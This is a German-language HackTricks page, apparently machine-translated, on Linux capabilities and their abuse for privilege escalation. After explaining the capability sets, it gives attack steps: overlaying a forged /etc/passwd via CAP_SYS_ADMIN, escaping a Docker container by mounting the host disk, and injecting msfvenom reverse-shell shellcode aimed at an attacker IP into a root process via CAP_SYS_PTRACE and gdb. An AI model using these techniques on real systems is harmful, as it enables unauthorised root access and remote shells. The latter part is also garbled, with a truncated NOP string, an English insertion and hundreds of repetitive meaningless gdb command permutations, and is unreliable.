Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories senden.
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.\
Linux-Fähigkeiten teilen Root-Berechtigungen in kleinere, eigenständige Einheiten auf, sodass Prozesse einen Teil der Berechtigungen haben können. Dadurch werden Risiken minimiert, indem nicht unnötigerweise volle Root-Berechtigungen gewährt werden.
Das Problem:
Normale Benutzer haben begrenzte Berechtigungen, die sich auf Aufgaben wie das Öffnen eines Netzwerk-Sockets auswirken, für die Root-Zugriff erforderlich ist.
Fähigkeitssets:
Geerbt (CapInh):
Zweck: Bestimmt die von dem übergeordneten Prozess übergebenen Fähigkeiten.
Funktionalität: Wenn ein neuer Prozess erstellt wird, erbt er die Fähigkeiten von seinem übergeordneten Prozess in diesem Set. Nützlich, um bestimmte Berechtigungen über Prozessstarts hinweg beizubehalten.
Einschränkungen: Ein Prozess kann keine Fähigkeiten erlangen, die sein übergeordneter Prozess nicht besaß.
Effektiv (CapEff):
Zweck: Stellt die tatsächlichen Fähigkeiten dar, die ein Prozess zu einem bestimmten Zeitpunkt nutzt.
Funktionalität: Es handelt sich um das Set von Fähigkeiten, das vom Kernel überprüft wird, um Berechtigungen für verschiedene Operationen zu gewähren. Für Dateien kann dieses Set einen Flag darstellen, das angibt, ob die erlaubten Fähigkeiten der Datei als effektiv betrachtet werden sollen.
Bedeutung: Das effektive Set ist für sofortige Berechtigungsprüfungen entscheidend und fungiert als aktives Set von Fähigkeiten, das ein Prozess verwenden kann.
Zugelassen (CapPrm):
Zweck: Definiert das maximale Set an Fähigkeiten, das ein Prozess besitzen kann.
Funktionalität: Ein Prozess kann eine Fähigkeit aus dem zugelassenen Set in sein effektives Set erhöhen, wodurch er die Möglichkeit hat, diese Fähigkeit zu nutzen. Er kann auch Fähigkeiten aus seinem zugelassenen Set entfernen.
Grenze: Es dient als Obergrenze für die Fähigkeiten, die ein Prozess haben kann, und stellt sicher, dass ein Prozess seinen vordefinierten Privilegienbereich nicht überschreitet.
Begrenzung (CapBnd):
Zweck: Setzt eine Obergrenze für die Fähigkeiten, die ein Prozess während seines Lebenszyklus jemals erwerben kann.
Funktionalität: Selbst wenn ein Prozess eine bestimmte Fähigkeit in seinem vererbten oder zugelassenen Set hat, kann er diese Fähigkeit nicht erwerben, es sei denn, sie ist auch im Begrenzungsset enthalten.
Anwendungsfall: Dieses Set ist besonders nützlich, um das Potenzial eines Prozesses für Privileg Eskalationen einzuschränken und eine zusätzliche Sicherheitsebene hinzuzufügen.
Umgebungs (CapAmb):
Zweck: Ermöglicht das Beibehalten bestimmter Fähigkeiten über einen execve-Systemaufruf hinweg, der normalerweise zu einem vollständigen Zurücksetzen der Fähigkeiten des Prozesses führen würde.
Funktionalität: Stellt sicher, dass nicht-SUID-Programme, die keine zugehörigen Dateifähigkeiten haben, bestimmte Privilegien beibehalten können.
Einschränkungen: Fähigkeiten in diesem Set unterliegen den Einschränkungen der vererbten und zugelassenen Sets und stellen sicher, dass sie die erlaubten Privilegien des Prozesses nicht überschreiten.
# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
Um die Fähigkeiten eines bestimmten Prozesses zu sehen, verwenden Sie die status-Datei im /proc-Verzeichnis. Da sie mehr Details liefert, beschränken wir uns nur auf die Informationen, die sich auf Linux-Fähigkeiten beziehen.
Beachten Sie, dass für alle laufenden Prozesse die Fähigkeiten pro Thread gespeichert werden, für Binärdateien im Dateisystem jedoch in erweiterten Attributen.
Sie können die in /usr/include/linux/capability.h definierten Fähigkeiten finden.
Sie können die Fähigkeiten des aktuellen Prozesses in cat /proc/self/status oder mit capsh --print und die von anderen Benutzern in /proc/<pid>/status finden.
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
Dieser Befehl sollte auf den meisten Systemen 5 Zeilen zurückgeben.
CapInh = Vererbte Fähigkeiten
CapPrm = Erlaubte Fähigkeiten
CapEff = Effektive Fähigkeiten
CapBnd = Begrenzungsset
CapAmb = Umgebungs-Fähigkeiten-Set
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
Diese hexadezimalen Zahlen ergeben keinen Sinn. Mit dem Dienstprogramm capsh können wir sie in den Namen der Fähigkeiten umwandeln.
Obwohl das funktioniert, gibt es einen anderen und einfacheren Weg. Um die Fähigkeiten eines laufenden Prozesses zu sehen, verwenden Sie einfach das Tool getpcaps gefolgt von seiner Prozess-ID (PID). Sie können auch eine Liste von Prozess-IDs angeben.
getpcaps1234
Lassen Sie uns hier die Fähigkeiten von tcpdump überprüfen, nachdem wir der Binärdatei ausreichend Fähigkeiten (cap_net_admin und cap_net_raw) gegeben haben, um das Netzwerk abzuhören (tcpdump läuft im Prozess 9562):
#The following command give tcpdump the needed capabilities to sniff traffic$setcapcap_net_raw,cap_net_admin=eip/usr/sbin/tcpdump$getpcaps9562Capabilitiesfor`9562': = cap_net_admin,cap_net_raw+ep$ cat /proc/9562/status | grep CapCapInh: 0000000000000000CapPrm: 0000000000003000CapEff: 0000000000003000CapBnd: 0000003fffffffffCapAmb: 0000000000000000$ capsh --decode=00000000000030000x0000000000003000=cap_net_admin,cap_net_raw
Wie Sie sehen können, entsprechen die angegebenen Fähigkeiten den Ergebnissen der beiden Möglichkeiten, die Fähigkeiten einer Binärdatei abzurufen. Das Tool getpcaps verwendet den Systemaufruf capget(), um die verfügbaren Fähigkeiten für einen bestimmten Thread abzufragen. Dieser Systemaufruf muss nur die PID bereitstellen, um weitere Informationen zu erhalten.
Fähigkeiten von Binärdateien
Binärdateien können Fähigkeiten haben, die während der Ausführung verwendet werden können. Zum Beispiel ist es sehr häufig, die Binärdatei ping mit der Fähigkeit cap_net_raw zu finden:
getcap/usr/bin/ping/usr/bin/ping=cap_net_raw+ep
Sie können Binärdateien mit Fähigkeiten durchsuchen, indem Sie Folgendes verwenden:
getcap-r/2>/dev/null
Dropping capabilities with capsh
Wenn wir die CAP_NET_RAW-Fähigkeiten für ping entfernen, sollte das Ping-Dienstprogramm nicht mehr funktionieren.
capsh--drop=cap_net_raw--print---c"tcpdump"
Neben der Ausgabe von capsh selbst sollte auch der tcpdump-Befehl einen Fehler anzeigen.
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
Der Fehler zeigt deutlich, dass der Ping-Befehl nicht berechtigt ist, einen ICMP-Socket zu öffnen. Jetzt wissen wir sicher, dass dies wie erwartet funktioniert.
Entfernen von Berechtigungen
Sie können Berechtigungen einer Binärdatei mit
setcap-r</path/to/binary>
Benutzerberechtigungen
Offensichtlich ist es auch möglich, Benutzern Berechtigungen zuzuweisen. Dies bedeutet wahrscheinlich, dass jeder vom Benutzer ausgeführte Prozess die Berechtigungen des Benutzers nutzen kann.
Basierend auf diesem, diesem und diesem müssen einige Dateien konfiguriert werden, um einem Benutzer bestimmte Berechtigungen zu geben, wobei die Datei /etc/security/capability.conf die Berechtigungen jedem Benutzer zuweist.
Beispiel für eine Datei:
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
Umgebungsfähigkeiten
Durch das Kompilieren des folgenden Programms ist es möglich, eine Bash-Shell in einer Umgebung zu starten, die Fähigkeiten bereitstellt.
ambient.c
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
Im bash, der von der kompilierten Umgebungsdatei ausgeführt wird, ist es möglich, die neuen Fähigkeiten zu beobachten (ein normaler Benutzer hat keine Fähigkeiten im "aktuellen" Abschnitt).
Sie können nur Fähigkeiten hinzufügen, die sowohl in den erlaubten als auch in den vererbten Sätzen vorhanden sind.
Fähigkeitsbewusste/Fähigkeitslose Binärdateien
Die fähigkeitsbewussten Binärdateien verwenden die neuen Fähigkeiten, die von der Umgebung bereitgestellt werden, nicht. Die fähigkeitslosen Binärdateien verwenden sie jedoch, da sie sie nicht ablehnen. Dies macht fähigkeitslose Binärdateien anfällig in einer speziellen Umgebung, die Binärdateien Fähigkeiten gewährt.
Service-Fähigkeiten
Standardmäßig hat ein Service, der als Root ausgeführt wird, alle Fähigkeiten zugewiesen, und in einigen Fällen kann dies gefährlich sein.
Daher ermöglicht eine Service-Konfigurationsdatei, die Fähigkeiten festzulegen, die der Service haben soll, und den Benutzer, der den Service ausführen soll, um das Ausführen eines Dienstes mit unnötigen Privilegien zu vermeiden:
Standardmäßig weist Docker den Containern einige Fähigkeiten zu. Es ist sehr einfach zu überprüfen, welche Fähigkeiten dies sind, indem Sie Folgendes ausführen:
dockerrun--rm-itr.j3ss.co/amicontainedbashCapabilities:BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilitiesdockerrun--rm-it--cap-add=SYS_ADMINr.j3ss.co/amicontainedbash# Add all capabilitiesdockerrun--rm-it--cap-add=ALLr.j3ss.co/amicontainedbash# Remove all and add only onedockerrun--rm-it--cap-drop=ALL--cap-add=SYS_PTRACEr.j3ss.co/amicontainedbash
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
Capabilities sind nützlich, wenn Sie Ihre eigenen Prozesse nach dem Ausführen privilegierter Operationen einschränken möchten (z. B. nach dem Einrichten von chroot und dem Binden an einen Socket). Sie können jedoch ausgenutzt werden, indem ihnen bösartige Befehle oder Argumente übergeben werden, die dann als Root ausgeführt werden.
Sie können Programme mit setcap dazu zwingen, Capabilities zu verwenden, und diese mit getcap abfragen:
Berechtigungen, die von tcpdump benötigt werden, um es jedem Benutzer zu ermöglichen, Pakete abzufangen:
To allow any user to sniff packets using `tcpdump`, the following **capabilities** need to be granted:1. `CAP_NET_RAW`: This capability allows the user to create raw network sockets, which is necessary for packet sniffing.
To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows:```bashsudosetcapcap_net_raw=eip/usr/sbin/tcpdump
After granting these capabilities, any user will be able to run tcpdump and sniff packets without requiring root privileges.
Laut der Dokumentation: Beachten Sie, dass man einem Programm eine leere Berechtigungsgruppe zuweisen kann. Dadurch ist es möglich, ein Set-User-ID-Root-Programm zu erstellen, das die effektive und gespeicherte Set-User-ID des Prozesses, der das Programm ausführt, auf 0 ändert, aber keine Berechtigungen für diesen Prozess gewährt. Anders ausgedrückt, wenn Sie eine ausführbare Datei haben, die:
nicht im Besitz von root ist,
keine SUID/SGID-Bits gesetzt hat,
leere Berechtigungen hat (z.B.: getcap myelf gibt myelf =ep zurück),
dann wird diese ausführbare Datei als root ausgeführt.
CAP_SYS_ADMIN
CAP_SYS_ADMIN ist eine äußerst mächtige Linux-Berechtigung, die oft als nahezu root-ähnlich angesehen wird, aufgrund ihrer umfangreichen administrativen Privilegien, wie dem Mounten von Geräten oder der Manipulation von Kernel-Funktionen. Während sie für Container, die ganze Systeme simulieren, unverzichtbar ist, stellt CAP_SYS_ADMIN erhebliche Sicherheitsherausforderungen dar, insbesondere in containerisierten Umgebungen, aufgrund ihres Potenzials für Privilegieneskalation und Systemkompromittierung. Daher erfordert ihr Einsatz strenge Sicherheitsbewertungen und vorsichtige Verwaltung, wobei eine starke Präferenz für das Verwerfen dieser Berechtigung in anwendungsspezifischen Containern besteht, um dem Prinzip des geringsten Privilegs zu entsprechen und die Angriffsfläche zu minimieren.
Mit Python können Sie eine modifizierte passwd-Datei über der echten passwd-Datei einbinden:
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
Und schließlich mounten Sie die modifizierte passwd-Datei auf /etc/passwd:
Und Sie werden in der Lage sein, su als root mit dem Passwort "password" auszuführen.
Beispiel mit Umgebung (Docker-Ausbruch)
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Im vorherigen Output können Sie sehen, dass die SYS_ADMIN-Fähigkeit aktiviert ist.
Mount
Dies ermöglicht es dem Docker-Container, das Host-Laufwerk zu mounten und frei darauf zuzugreifen:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
Voller Zugriff
In der vorherigen Methode konnten wir auf die Docker-Host-Festplatte zugreifen.
Falls Sie feststellen, dass der Host einen SSH-Server ausführt, können Sie einen Benutzer auf der Docker-Host-Festplatte erstellen und über SSH darauf zugreifen:
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
CAP_SYS_PTRACE
Dies bedeutet, dass Sie den Container verlassen können, indem Sie einen Shellcode in einen Prozess injizieren, der auf dem Host läuft. Um auf auf dem Host ausgeführte Prozesse zuzugreifen, muss der Container mindestens mit --pid=host ausgeführt werden.
CAP_SYS_PTRACE gewährt die Möglichkeit, Debugging- und Systemaufruf-Verfolgungsfunktionen zu verwenden, die von ptrace(2) und Cross-Memory-Anhang-Aufrufen wie process_vm_readv(2) und process_vm_writev(2) bereitgestellt werden. Obwohl dies für diagnostische und Überwachungszwecke leistungsstark ist, kann CAP_SYS_PTRACE die Systemsicherheit erheblich untergraben, wenn es ohne restriktive Maßnahmen wie einen Seccomp-Filter auf ptrace(2) aktiviert ist. Insbesondere kann es ausgenutzt werden, um andere Sicherheitsbeschränkungen zu umgehen, insbesondere solche, die durch Seccomp auferlegt werden, wie dies durch Proofs of Concept (PoC) wie diesen demonstriert wird.
Ersetzen Sie <IP> durch die IP-Adresse des Angreifers und <PORT> durch den gewünschten Port für die Reverse TCP-Verbindung.
$gdb-q<binary>(gdb) run
Führen Sie den gdb-Debugger aus und starten Sie das gewünschte Binärprogramm.
(gdb) set {unsigned char *}0x<address> = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
```python# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.pybuf=b""buf+=b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"buf+=b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"buf+=b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"buf+=b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"buf+=b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"buf+=b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"buf+=b"\x0f\x05"# Divisible by 8payload=b"\x90" * (8 -len(buf) %8 ) + buf# Change endianess and print gdb lines to load the shellcode in RIP directlyfor i in range(0,len(buf),8):chunk=payload[i:i+8][::-1]chunks= "0x"for byte in chunk:chunks+=f"{byte:02x}"print(f"set {{long}}($rip+{i}) = {chunks}")
Führen Sie einen Root-Prozess mit gdb aus und kopieren Sie die zuvor generierten gdb-Zeilen:
sudogdb-p<PID>
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) run
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) run
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) continue
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) continue
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) next
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) next
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) step
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) step
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) finish
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) finish
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) until
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) until
(gdb) set follow-fork-mode child(gdb) catch exec(gdb) break<function_name>
(gdb) set follow-fork-mode parent(gdb) catch exec(gdb) break<function_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) watch <variable_name>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) watch <variable_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) info breakpoints
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) info breakpoints
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) info threads
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) info threads
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) thread <thread_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) thread <thread_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) thread apply all <command>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) thread apply all <command>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set scheduler-locking off
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set scheduler-locking off
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) run
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) run
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) run
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) run
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) continue
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) continue
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) continue
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) continue
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) next
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) next
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) next
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) next
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) step
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) step
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) step
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) step
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) finish
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) finish
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) finish
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) finish
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) until
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) until
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) until
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) until
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) break <function_name>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) break <function_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) break <function_name>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) break <function_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) watch <variable_name>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) watch <variable_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) watch <variable_name>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) watch <variable_name>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) info breakpoints
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) info breakpoints
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) info breakpoints
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) info breakpoints
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) delete <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) disable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) enable <breakpoint_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) info threads
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) info threads
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) info threads
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) info threads
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) thread <thread_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) thread <thread_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) thread <thread_number>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) thread <thread_number>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) thread apply all <command>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) thread apply all <command>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) thread apply all <command>
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) thread apply all <command>
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking on
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking off
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking off
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking off
